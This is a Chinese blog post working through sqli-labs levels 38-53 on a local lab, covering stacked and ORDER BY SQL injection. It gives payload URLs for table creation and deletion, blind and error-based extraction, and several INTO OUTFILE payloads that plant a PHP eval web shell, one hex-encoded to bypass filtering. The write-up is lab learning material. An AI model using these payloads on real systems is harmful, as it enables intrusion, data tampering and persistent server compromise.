<!DOCTYPE HTML>
<html lang="zh-CN">


<head>
    <meta charset="utf-8">
    <meta name="keywords" content="less38-53, 比企谷八幡">
    <meta name="description" content="用我三生烟火,换你一世迷离。">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="renderer" content="webkit|ie-stand|ie-comp">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="format-detection" content="telephone=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <!-- Global site tag (gtag.js) - Google Analytics -->


    <title>less38-53 | 比企谷八幡</title>
    <link rel="icon" type="image/png" href="/favicon.png">

    <link rel="stylesheet" type="text/css" href="/libs/awesome/css/all.css">
    <link rel="stylesheet" type="text/css" href="/libs/materialize/materialize.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/aos/aos.css">
    <link rel="stylesheet" type="text/css" href="/libs/animate/animate.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/lightGallery/css/lightgallery.min.css">
    <link rel="stylesheet" type="text/css" href="/css/matery.css">
    <link rel="stylesheet" type="text/css" href="/css/my.css">

    <script src="/libs/jquery/jquery.min.js"></script>

<meta name="generator" content="Hexo 4.2.1"><link rel="alternate" href="/atom.xml" title="比企谷八幡" type="application/atom+xml">
<link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"></head>


<body>
    <header class="navbar-fixed">
    <nav id="headNav" class="bg-color nav-transparent">
        <div id="navContainer" class="nav-wrapper container">
            <div class="brand-logo">
                <a href="/" class="waves-effect waves-light">
                    
                    <img src="/medias/logo.png" class="logo-img" alt="LOGO">
                    
                    <span class="logo-span">比企谷八幡</span>
                </a>
            </div>
            

<a href="#" data-target="mobile-nav" class="sidenav-trigger button-collapse"><i class="fas fa-bars"></i></a>
<ul class="right nav-menu">
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/" class="waves-effect waves-light">
      
      <i class="fas fa-home" style="zoom: 0.6;"></i>
      
      <span>首页</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/tags" class="waves-effect waves-light">
      
      <i class="fas fa-tags" style="zoom: 0.6;"></i>
      
      <span>标签</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/categories" class="waves-effect waves-light">
      
      <i class="fas fa-bookmark" style="zoom: 0.6;"></i>
      
      <span>分类</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/archives" class="waves-effect waves-light">
      
      <i class="fas fa-archive" style="zoom: 0.6;"></i>
      
      <span>归档</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/about" class="waves-effect waves-light">
      
      <i class="fas fa-user-circle" style="zoom: 0.6;"></i>
      
      <span>关于</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/contact" class="waves-effect waves-light">
      
      <i class="fas fa-comments" style="zoom: 0.6;"></i>
      
      <span>留言板</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/friends" class="waves-effect waves-light">
      
      <i class="fas fa-address-book" style="zoom: 0.6;"></i>
      
      <span>友情链接</span>
    </a>
    
  </li>
  
  <li>
    <a href="#searchModal" class="modal-trigger waves-effect waves-light">
      <i id="searchIcon" class="fas fa-search" title="搜索" style="zoom: 0.85;"></i>
    </a>
  </li>
</ul>


<div id="mobile-nav" class="side-nav sidenav">

    <div class="mobile-head bg-color">
        
        <img src="/medias/logo.png" class="logo-img circle responsive-img">
        
        <div class="logo-name">比企谷八幡</div>
        <div class="logo-desc">
            
            用我三生烟火,换你一世迷离。
            
        </div>
    </div>

    

    <ul class="menu-list mobile-menu-list">
        
        <li class="m-nav-item">
	  
		<a href="/" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-home"></i>
			
			首页
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/tags" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-tags"></i>
			
			标签
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/categories" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-bookmark"></i>
			
			分类
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/archives" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-archive"></i>
			
			归档
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/about" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-user-circle"></i>
			
			关于
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/contact" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-comments"></i>
			
			留言板
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/friends" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-address-book"></i>
			
			友情链接
		</a>
          
        </li>
        
        
        <li><div class="divider"></div></li>
        <li>
            <a href="https://github.com/blinkfox/hexo-theme-matery" class="waves-effect waves-light" target="_blank">
                <i class="fab fa-github-square fa-fw"></i>Fork Me
            </a>
        </li>
        
    </ul>
</div>


        </div>

        
            <style>
    .nav-transparent .github-corner {
        display: none !important;
    }

    .github-corner {
        position: absolute;
        z-index: 10;
        top: 0;
        right: 0;
        border: 0;
        transform: scale(1.1);
    }

    .github-corner svg {
        color: #0f9d58;
        fill: #fff;
        height: 64px;
        width: 64px;
    }

    .github-corner:hover .octo-arm {
        animation: a 0.56s ease-in-out;
    }

    .github-corner .octo-arm {
        animation: none;
    }

    @keyframes a {
        0%,
        to {
            transform: rotate(0);
        }
        20%,
        60% {
            transform: rotate(-25deg);
        }
        40%,
        80% {
            transform: rotate(10deg);
        }
    }
</style>

<a href="https://github.com/blinkfox/hexo-theme-matery" class="github-corner tooltipped hide-on-med-and-down" target="_blank"
   data-tooltip="Fork Me" data-position="left" data-delay="50">
    <svg viewBox="0 0 250 250" aria-hidden="true">
        <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path>
        <path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
              fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path>
        <path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
              fill="currentColor" class="octo-body"></path>
    </svg>
</a>
        
    </nav>

</header>

    



<div class="bg-cover pd-header post-cover" style="background-image: url('/medias/featureimages/21.jpg')">
    <div class="container" style="right: 0px;left: 0px;">
        <div class="row">
            <div class="col s12 m12 l12">
                <div class="brand">
                    <h1 class="description center-align post-title">less38-53</h1>
                </div>
            </div>
        </div>
    </div>
</div>




<main class="post-container content">

    
    <link rel="stylesheet" href="/libs/tocbot/tocbot.css">
<style>
    #articleContent h1::before,
    #articleContent h2::before,
    #articleContent h3::before,
    #articleContent h4::before,
    #articleContent h5::before,
    #articleContent h6::before {
        display: block;
        content: " ";
        height: 100px;
        margin-top: -100px;
        visibility: hidden;
    }

    #articleContent :focus {
        outline: none;
    }

    .toc-fixed {
        position: fixed;
        top: 64px;
    }

    .toc-widget {
        width: 345px;
        padding-left: 20px;
    }

    .toc-widget .toc-title {
        margin: 35px 0 15px 0;
        padding-left: 17px;
        font-size: 1.5rem;
        font-weight: bold;
        line-height: 1.5rem;
    }

    .toc-widget ol {
        padding: 0;
        list-style: none;
    }

    #toc-content {
        height: calc(100vh - 250px);
        overflow: auto;
    }

    #toc-content ol {
        padding-left: 10px;
    }

    #toc-content ol li {
        padding-left: 10px;
    }

    #toc-content .toc-link:hover {
        color: #42b983;
        font-weight: 700;
        text-decoration: underline;
    }

    #toc-content .toc-link::before {
        background-color: transparent;
        max-height: 25px;

        position: absolute;
        right: 23.5vw;
        display: block;
    }

    #toc-content .is-active-link {
        color: #42b983;
    }

    #floating-toc-btn {
        position: fixed;
        right: 15px;
        bottom: 76px;
        padding-top: 15px;
        margin-bottom: 0;
        z-index: 998;
    }

    #floating-toc-btn .btn-floating {
        width: 48px;
        height: 48px;
    }

    #floating-toc-btn .btn-floating i {
        line-height: 48px;
        font-size: 1.4rem;
    }
</style>
<div class="row">
    <div id="main-content" class="col s12 m12 l9">
        <!-- 文章内容详情 -->
<div id="artDetail">
    <div class="card">
        <div class="card-content article-info">
            <div class="row tag-cate">
                <div class="col s7">
                    
                    <div class="article-tag">
                        
                            <a href="/tags/sqli-labs/">
                                <span class="chip bg-color">sqli-labs</span>
                            </a>
                        
                            <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                                <span class="chip bg-color">SQL注入</span>
                            </a>
                        
                    </div>
                    
                </div>
                <div class="col s5 right-align">
                    
                </div>
            </div>

            <div class="post-info">
                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-minus fa-fw"></i>发布日期:&nbsp;&nbsp;
                    2020-11-25
                </div>
                

                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-check fa-fw"></i>更新日期:&nbsp;&nbsp;
                    2020-11-26
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-file-word fa-fw"></i>文章字数:&nbsp;&nbsp;
                    2.4k
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-clock fa-fw"></i>阅读时长:&nbsp;&nbsp;
                    9 分
                </div>
                

                
            </div>
        </div>
        <hr class="clearfix">
        <div class="card-content article-card-content">
            <div id="articleContent">
                <h2 id="一-less38"><a href="#一-less38" class="headerlink" title="一.less38"></a>一.less38</h2><p><strong><em>堆叠注入:就是利用利用分号来分隔一个sql语句,然后在同一行再写一个sql语句实现多句并用。堆叠注入的危害巨大,less45将演示利用堆叠注入写一句话木马</em></strong></p>
<p><strong><em>less38-45是关于堆叠注入的学习,通关要求是找到注入点进行堆叠注入</em></strong> </p>
<pre><code>#利用创建表
http://127.0.0.1/sqli-labs/Less-38/?id=1';create table crow2 like users;--+

#删除创建的表
http://127.0.0.1/sqli-labs/Less-38/?id=1';drop table crow2;--+

#往users表中插入一组数据(100,Eric,L123);--+</code></pre><p>这里我就不上图了,很容易验证<br>用其他的注入手段获取数据库敏感信息这里不赘述了</p>
<h2 id="2-less39"><a href="#2-less39" class="headerlink" title="2.less39"></a>2.less39</h2><p>本关是id是数字型注入,其他的同less38</p>
<h2 id="3-less40"><a href="#3-less40" class="headerlink" title="3.less40"></a>3.less40</h2><p>本关是id是单引号+单括号,其他的同less38</p>
<h2 id="4-less41"><a href="#4-less41" class="headerlink" title="4.less41"></a>4.less41</h2><p>本关同less39,只是没有报错信息而已</p>
<h2 id="5-less42"><a href="#5-less42" class="headerlink" title="5.less42"></a>5.less42</h2><p>本关是post型的注入,从login中sql语句源码我们可以知道,这里采用的是单引号闭合。由于本关源码中有对username进行mysql_real_escape_string()过滤,而passsword没有,所以可以直接在password进行注入</p>
<pre><code> $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";</code></pre><p><a href="https://imgchr.com/i/DwZpa4" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/26/DwZpa4.png" alt=""></a><br>注入代码:</p>
<pre><code>账号:随意
密码:a';create table test like users#</code></pre><p>页面登陆失败,但是表test会被创建(其他操作同理不赘述)</p>
<h2 id="6-less43"><a href="#6-less43" class="headerlink" title="6.less43"></a>6.less43</h2><p>本关passwood是用单引号+单括号闭合的,其他的同less42</p>
<h2 id="7-less44"><a href="#7-less44" class="headerlink" title="7.less44"></a>7.less44</h2><p>本关是基于盲注的,除了没有报错信息外其他的同42<br>按照流程来一遍把数据库名,表名,字段名都猜解出来</p>
<p><strong>注意:猜解的时候一定要用or,因为如果用and的话,在账号密码已经是错误的情况下或者未知的情况下,执行到第一个错误的分句后就不再执行,用or的话会都执行一遍,这样就可以用延时注入来猜解数据库的相关信息</strong></p>
<pre><code>' or if(left(database(),1)=100,1,sleep(5));#</code></pre><p>其他同理,不作赘述</p>
<h2 id="8-less45"><a href="#8-less45" class="headerlink" title="8.less45"></a>8.less45</h2><p>45关与43关的payload是一样的，只不过45关依旧没有报错信息(代码直接抄过来用),依旧用盲注</p>
<p><strong>用堆叠注入来写一句话木马(以上关卡也都能用,只是在less45展示而已)</strong><br>条件:  </p>
<ul>
<li>root 写权限</li>
<li>一句话木马</li>
<li>select xxx into outfile xxx</li>
<li>写入点<pre><code>#一句话木马
&lt;?php @eval($_POST["root"]); ?&gt;</code></pre></li>
</ul>
<p>注入代码</p>
<pre><code>a'); select '&lt;?php @eval($_POST["root"]); ?&gt;' into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\crow1.php';#</code></pre><p>虽然网页显示登陆失败但是一句话木马已经注入成功,然后用中国菜刀获得更高权限进行入侵<br><a href="https://imgchr.com/i/DdPBLj" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/25/DdPBLj.png" alt=""></a></p>
<h2 id="九-总结-less38-45"><a href="#九-总结-less38-45" class="headerlink" title="九.总结(less38-45)"></a>九.总结(less38-45)</h2><p>堆叠注入就是利用分号结束当前sql语句,然后再自己按照需求任意添加别的sql语句实现注入效果</p>
<p><strong>堆叠注入对网站和服务器的危害相当之大,当爆破出库名表名后,进行各种增删改查,或者是随意往数据库里创建表或者加入本不存在的信息,再或者对服务器进行木马注入,都会对网站造成难以估量的损失</strong></p>
<h2 id="十-less46"><a href="#十-less46" class="headerlink" title="十.less46"></a>十.less46</h2><p>从本关开始，我们开始学习order by相关注入的知识</p>
<p>补充知识:</p>
<ul>
<li>1.?sort=1 表示select xx from xx order by 1</li>
<li>select * from users into outfile ‘绝对路径’ lines terminated by xxx(xxx可以用十六进制表示,别忘了前面手动加0x)：这句sql语句表示将东西写入文件以xxx分隔</li>
</ul>
<p>下面开始这关的内容:  </p>
<p>首先本关是提示信息要求使用sort,我们输入在网址后面补?sort=1,如下,可以得到一张表,我在源码中打印了sql语句,从sql语句中可知，这里sort控制的是order by 后面的值(本关开始考点就是order by相关注入)</p>
<p>闭合方式:整型<br><a href="https://imgchr.com/i/DdLgaD" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/26/DdLgaD.png" alt=""></a></p>
<p>注入方法((报错注入和延时注入前面已经讲过很多次了,详见less5的报错注入处)):</p>
<ul>
<li>1.报错注入<pre><code>select updatexml(1,concat(0x7e,要查询的sql语句),1)
</code></pre></li>
</ul>
<p>#如查询数据库名<br><a href="http://127.0.0.1/sqli-labs/Less-46/?sort=1" target="_blank" rel="noopener">http://127.0.0.1/sqli-labs/Less-46/?sort=1</a> and updatexml(1,concat(0x7e,database(),1),1)–+</p>
<pre><code>
* 2.延时注入</code></pre><p>select if((length(database()))&gt;8,1,sleep(5))</p>
<p>#如果数据库名长度&gt;8就sleep5s<br><a href="http://127.0.0.1/sqli-labs/Less-46/?sort=1" target="_blank" rel="noopener">http://127.0.0.1/sqli-labs/Less-46/?sort=1</a> and if((length(database()))&gt;8,1,sleep(5))</p>
<pre><code>
总结:利用以上两种手段,在 order by 后面加 and 报错注入代码 来爆数据库的的数据

## 十一.less47
本关闭合order by处是单引号闭合,像前面id一样构造闭合即可,其他的相同

以延时注入为例:</code></pre><p><a href="http://127.0.0.1/sqli-labs/Less-47/?sort=1'and" target="_blank" rel="noopener">http://127.0.0.1/sqli-labs/Less-47/?sort=1'and</a> if((length(database()))&gt;6,1,sleep(5)) –+</p>
<pre><code>
## 十二.less48
本关是order by处是整型,但通过单引号测试可知本关没有报错信息,所以选择时间盲注来获取信息,其他的同less46,具体过程略

## 十三.less49
本关是order by处是单引号闭合,无报错信息,其他同less47,依旧选择时间盲注来获取信息,具体过程略


**下面尝试使用写入文件的方式破解less49**</code></pre><p>#语法(line后面的部分可选,下面就会出现非用不可的情况)<br>select * from users into outfile ‘绝对路径’ lines terminated by xxx</p>
<pre><code></code></pre><p><a href="http://127.0.0.1/sqli-labs/Less-49/?sort=1'" target="_blank" rel="noopener">http://127.0.0.1/sqli-labs/Less-49/?sort=1'</a><br> into outfile “E:\phpstudy\PHPTutorial\WWW\less49.txt” –+</p>
<pre><code>
虽然有警告,但是已经成功通过注入把users表的内容写到文件中(因为前面已经有select并且我们需要的就是前面select出来的数据,所以这里千万不要再加select 和and)
[![](https://s3.ax1x.com/2020/11/26/DdXOvn.png)](https://imgchr.com/i/DdXOvn)


&lt;/br&gt;
下面演示通过写入文件来注入的方式

**插入一句话木马**

注入代码如下</code></pre><p><a href="http://127.0.0.1/sqli-labs/Less-49/?sort=1'" target="_blank" rel="noopener">http://127.0.0.1/sqli-labs/Less-49/?sort=1'</a> and<br> (select ‘<!--?php @eval($_POST["root"]); ?-->‘) into outfile ‘E:\phpstudy\PHPTutorial\WWW\crow3.php’–+</p>
<pre><code>

**注:这里select外面一定要加一层括号,这样才表示把这句话写入文件**

[![](https://s3.ax1x.com/2020/11/26/DwC61S.png)](https://imgchr.com/i/DwC61S)

成功写入文件,但是打开文件后会发现只有写入了and前面那句sql语句的内容,一句话木马并不存在。我们通过手动输出的sql语句中也能看到,这里一句话木马被过滤掉了

**奇怪的是,这里我把一句话木马换成随便的一个字符串比如1234,再在显示的sql语句中虽然正常显示了我要加的句子,但是文本中依旧不显示**

[![](https://s3.ax1x.com/2020/11/26/DwCQT1.png)](https://imgchr.com/i/DwCQT1)

**解决方法:利用lines terminated by来实现插入,这里by后面是可以用字符的十六进制形式来进行注入的,这样就能实现绕过过滤**


进制转换的网站：https://www.bejson.com/convert/ox2str/

将&lt;?php @eval($_POST["root"]);转换成十六进制写再lines terminated by 的后面即可  
下面是注入代码 </code></pre><p><a href="http://127.0.0.1/sqli-labs/Less-49/?sort=1'" target="_blank" rel="noopener">http://127.0.0.1/sqli-labs/Less-49/?sort=1'</a><br> into outfile “E:\phpstudy\PHPTutorial\WWW\less49_02.php” lines terminated by 0x3c3f706870406576616c28245f504f53545b22726f6f74225d293b3f3e –+</p>
<pre><code>[![注入成功](https://s3.ax1x.com/2020/11/26/DwPxbj.png)](https://imgchr.com/i/DwPxbj)

由上图可知,确实注入成功

## 十四.less50
从本关开始我们开始进行 order by stacked injection
前面的关卡中,源码中使用的是mysqli _query()的方式执行sql语句,而本关开始使用的是mysqli_multi_query()

**mysqli _query())和mysqli_multi_query()的区别**

* mysqli _query():只能执行一句sql语句
* mysqli_multi_query():可以执行多句sql语句


接下来从less50-53是对上面两大关(堆叠注入和order by注入)的结合,手法如下按照实际情况选(不再一一演示)  
* 1.延时盲注
* 2.报错注入
* 3.直接写一句话木马(见less49)
* 4.用堆叠注入写一句话木马(见less45)  
* 5.用堆叠注入实现创表删表等操作(见less38)

本关是整型闭合,操作就不演示了

## 十五.less51
本关是单引号闭合,其他同less50,不赘述

## 十六.less52
本关是整型闭合没有报错信息,其他同less50(无报错信息的题不可用报错注入)

## 十七.less53
本关是单引号闭合,无报错信息,同less51



## 十.总结(less46-53)
对比:

?id=n  ---&gt;   select xx from xx where id = n  
?sort=n ---&gt;  select xx from xx order by n  

二者基本同理,注入的步骤都是:
* 引号测试是否存在报错以及确定闭合类型
* 没有报错信息就选择时间盲注,有的话就报错注入和时间盲注都可以
。如果有别的可行的方法也行
* 根据需求选择合适的注入手法进行信息获取或攻击



less38-53手法汇总:
* 1.延时盲注
* 2.报错注入
* 3.直接写一句话木马(见less49)
* 4.用堆叠注入写一句话木马(见less45)  
* 5.用堆叠注入实现创表删表等操作(见less38)



**注 : 可能还存在一些别的方式可以注入通关,这里主要讨论时间盲注和报错注入和用写入文件的方式来注入**


</code></pre><script>
        document.querySelectorAll('.github-emoji')
          .forEach(el => {
            if (!el.dataset.src) { return; }
            const img = document.createElement('img');
            img.style = 'display:none !important;';
            img.src = el.dataset.src;
            img.addEventListener('error', () => {
              img.remove();
              el.style.color = 'inherit';
              el.style.backgroundImage = 'none';
              el.style.background = 'none';
            });
            img.addEventListener('load', () => {
              img.remove();
            });
            document.body.appendChild(img);
          });
      </script>
            </div>
            <hr/>

            

    <div class="reprint" id="reprint-statement">
        
            <div class="reprint__author">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-user">
                        文章作者:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="/about" rel="external nofollow noreferrer">灿若星河</a>
                </span>
            </div>
            <div class="reprint__type">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-link">
                        文章链接:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="https://1766095699.github.io/2020/11/25/less38-53/">https://1766095699.github.io/2020/11/25/less38-53/</a>
                </span>
            </div>
            <div class="reprint__notice">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-copyright">
                        版权声明:
                    </i>
                </span>
                <span class="reprint-info">
                    本博客所有文章除特別声明外，均采用
                    <a href="https://creativecommons.org/licenses/by/4.0/deed.zh" rel="external nofollow noreferrer" target="_blank">CC BY 4.0</a>
                    许可协议。转载请注明来源
                    <a href="/about" target="_blank">灿若星河</a>
                    !
                </span>
            </div>
        
    </div>

    <script async defer>
      document.addEventListener("copy", function (e) {
        let toastHTML = '<span>复制成功，请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>';
        M.toast({html: toastHTML})
      });

      function navToReprintStatement() {
        $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800);
      }
    </script>



            <div class="tag_share" style="display: block;">
                <div class="post-meta__tag-list" style="display: inline-block;">
                    
                        <div class="article-tag">
                            
                                <a href="/tags/sqli-labs/">
                                    <span class="chip bg-color">sqli-labs</span>
                                </a>
                            
                                <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                                    <span class="chip bg-color">SQL注入</span>
                                </a>
                            
                        </div>
                    
                </div>
                <div class="post_share" style="zoom: 80%; width: fit-content; display: inline-block; float: right; margin: -0.15rem 0;">
                    <link rel="stylesheet" type="text/css" href="/libs/share/css/share.min.css">
<div id="article-share">

    
    <div class="social-share" data-sites="twitter,facebook,google,qq,qzone,wechat,weibo,douban,linkedin" data-wechat-qrcode-helper="<p>微信扫一扫即可分享！</p>"></div>
    <script src="/libs/share/js/social-share.min.js"></script>
    

    

</div>

                </div>
            </div>
            
        </div>
    </div>

    
        <link rel="stylesheet" href="/libs/gitalk/gitalk.css">
<link rel="stylesheet" href="/css/my-gitalk.css">

<div class="card gitalk-card" data-aos="fade-up">
    <div class="comment_headling" style="font-size: 20px; font-weight: 700; position: relative; padding-left: 20px; top: 15px; padding-bottom: 5px;">
        <i class="fas fa-comments fa-fw" aria-hidden="true"></i>
        <span>评论</span>
    </div>
    <div id="gitalk-container" class="card-content"></div>
</div>

<script src="/libs/gitalk/gitalk.min.js"></script>
<script>
    let gitalk = new Gitalk({
        clientID: '',
        clientSecret: '',
        repo: '',
        owner: '',
        admin: null,
        id: '2020-11-25T00-50-48',
        distractionFreeMode: false  // Facebook-like distraction free mode
    });

    gitalk.render('gitalk-container');
</script>

    

    

    

    

    

    

    

<article id="prenext-posts" class="prev-next articles">
    <div class="row article-row">
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge left-badge text-color">
                <i class="fas fa-chevron-left"></i>&nbsp;上一篇</div>
            <div class="card">
                <a href="/2020/11/26/less54-75/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/11.jpg" class="responsive-img" alt="less54-75">
                        
                        <span class="card-title">less54-75</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            从less54开始,都是用来做练习的的,获取密码才能成功,已知数据库名是challenges，并且他的表名,列名,密码都是随机得到,超过规定的提交次数就会重置一次,下面的代码仅以我遇到的值为例
复习:知识点一：判断闭合方式SELECT * 
                        
                    </div>
                    <div class="publish-info">
                        <span class="publish-date">
                            <i class="far fa-clock fa-fw icon-date"></i>2020-11-26
                        </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-user fa-fw"></i>
                            灿若星河
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/sqli-labs/">
                        <span class="chip bg-color">sqli-labs</span>
                    </a>
                    
                    <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                        <span class="chip bg-color">SQL注入</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge right-badge text-color">
                下一篇&nbsp;<i class="fas fa-chevron-right"></i>
            </div>
            <div class="card">
                <a href="/2020/11/21/less23-37/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/23.jpg" class="responsive-img" alt="less23-37">
                        
                        <span class="card-title">less23-37</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            一.less23本关不能用–+来进行输出,源码中自动换成空格了
通过单引号测试获得的报错信息得知是单引号闭合猜测原sql语句
select id,username,password from users where id='xx'方法一:特
                        
                    </div>
                    <div class="publish-info">
                            <span class="publish-date">
                                <i class="far fa-clock fa-fw icon-date"></i>2020-11-21
                            </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-user fa-fw"></i>
                            灿若星河
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/sqli-labs/">
                        <span class="chip bg-color">sqli-labs</span>
                    </a>
                    
                    <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                        <span class="chip bg-color">SQL注入</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
    </div>
</article>

</div>



<!-- 代码块功能依赖 -->
<script type="text/javascript" src="/libs/codeBlock/codeBlockFuction.js"></script>

<!-- 代码语言 -->

<script type="text/javascript" src="/libs/codeBlock/codeLang.js"></script>


<!-- 代码块复制 -->

<script type="text/javascript" src="/libs/codeBlock/codeCopy.js"></script>


<!-- 代码块收缩 -->

<script type="text/javascript" src="/libs/codeBlock/codeShrink.js"></script>


<!-- 代码块折行 -->

<style type="text/css">
code[class*="language-"], pre[class*="language-"] { white-space: pre !important; }
</style>


    </div>
    <div id="toc-aside" class="expanded col l3 hide-on-med-and-down">
        <div class="toc-widget">
            <div class="toc-title"><i class="far fa-list-alt"></i>&nbsp;&nbsp;目录</div>
            <div id="toc-content"></div>
        </div>
    </div>
</div>

<!-- TOC 悬浮按钮. -->

<div id="floating-toc-btn" class="hide-on-med-and-down">
    <a class="btn-floating btn-large bg-color">
        <i class="fas fa-list-ul"></i>
    </a>
</div>


<script src="/libs/tocbot/tocbot.min.js"></script>
<script>
    $(function () {
        tocbot.init({
            tocSelector: '#toc-content',
            contentSelector: '#articleContent',
            headingsOffset: -($(window).height() * 0.4 - 45),
            collapseDepth: Number('0'),
            headingSelector: 'h2, h3, h4'
        });

        // modify the toc link href to support Chinese.
        let i = 0;
        let tocHeading = 'toc-heading-';
        $('#toc-content a').each(function () {
            $(this).attr('href', '#' + tocHeading + (++i));
        });

        // modify the heading title id to support Chinese.
        i = 0;
        $('#articleContent').children('h2, h3, h4').each(function () {
            $(this).attr('id', tocHeading + (++i));
        });

        // Set scroll toc fixed.
        let tocHeight = parseInt($(window).height() * 0.4 - 64);
        let $tocWidget = $('.toc-widget');
        $(window).scroll(function () {
            let scroll = $(window).scrollTop();
            /* add post toc fixed. */
            if (scroll > tocHeight) {
                $tocWidget.addClass('toc-fixed');
            } else {
                $tocWidget.removeClass('toc-fixed');
            }
        });

        
        /* 修复文章卡片 div 的宽度. */
        let fixPostCardWidth = function (srcId, targetId) {
            let srcDiv = $('#' + srcId);
            if (srcDiv.length === 0) {
                return;
            }

            let w = srcDiv.width();
            if (w >= 450) {
                w = w + 21;
            } else if (w >= 350 && w < 450) {
                w = w + 18;
            } else if (w >= 300 && w < 350) {
                w = w + 16;
            } else {
                w = w + 14;
            }
            $('#' + targetId).width(w);
        };

        // 切换TOC目录展开收缩的相关操作.
        const expandedClass = 'expanded';
        let $tocAside = $('#toc-aside');
        let $mainContent = $('#main-content');
        $('#floating-toc-btn .btn-floating').click(function () {
            if ($tocAside.hasClass(expandedClass)) {
                $tocAside.removeClass(expandedClass).hide();
                $mainContent.removeClass('l9');
            } else {
                $tocAside.addClass(expandedClass).show();
                $mainContent.addClass('l9');
            }
            fixPostCardWidth('artDetail', 'prenext-posts');
        });
        
    });
</script>

    

</main>




    <footer class="page-footer bg-color">
    
        <link rel="stylesheet" href="/libs/aplayer/APlayer.min.css">
<style>
    .aplayer .aplayer-lrc p {
        
        display: none;
        
        font-size: 12px;
        font-weight: 700;
        line-height: 16px !important;
    }

    .aplayer .aplayer-lrc p.aplayer-lrc-current {
        
        display: none;
        
        font-size: 15px;
        color: #42b983;
    }

    
    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body {
        left: -66px !important;
    }

    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body:hover {
        left: 0px !important;
    }

    
</style>
<div class="">
    
    <div class="row">
        <meting-js class="col l8 offset-l2 m10 offset-m1 s12"
                   server="netease"
